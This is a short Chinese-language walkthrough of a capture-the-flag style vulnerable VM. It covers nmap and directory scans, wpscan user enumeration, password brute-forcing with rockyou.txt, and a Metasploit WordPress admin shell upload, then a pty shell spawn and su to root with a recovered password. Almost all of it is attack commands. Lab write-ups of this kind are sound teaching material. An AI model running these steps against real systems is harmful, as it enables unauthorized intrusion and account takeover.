靶機設置
將靶機導入VirtualBox中,有時候導入VM會出錯,掃描不到ip地址。
kali:192.168.1.100
kali掃描獲得ip地址:192.168.1.107
滲透測試
接着掃描端口
nmap -sS -sV -T5 -A -p- 192.168.1.107
訪問80端口
沒有什么有用的信息,掃一下目錄
./dirsearch.py -u http://192.168.1.107 -e*
掃出info.php
換個工具在掃一波
dirb http://192.168.1.107
掃到wordpress目錄,訪問一下:
發現使用的是wordpress框架,使用wpscan工具進行掃描
wpscan --url http://192.168.1.107/wordpress -e ap -e at -e u
掃描到一個用戶:c0rrupt3d_brain
接着使用此工具爆破密碼
wpscan --url http://192.168.1.107/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists//rockyou.txt
密碼為: 24992499
Metasploit有內置wordpress漏洞
啟動Metasploit,然后鍵入以下命令:
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.107
set USERNAME c0rrupt3d_brain
set PassWORD 24992499
set targeturi /wordpress
run
成功了,cd /home
有一個root3r的文件,進入查看
有一個.root_password_ssh.txt文件查看
獲得了ssh的密碼:willy26
我們知道了root用戶的密碼好我們提權
我們先建立交互式
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su root
willy26
提權成功
進入root文件夾下獲取flag信息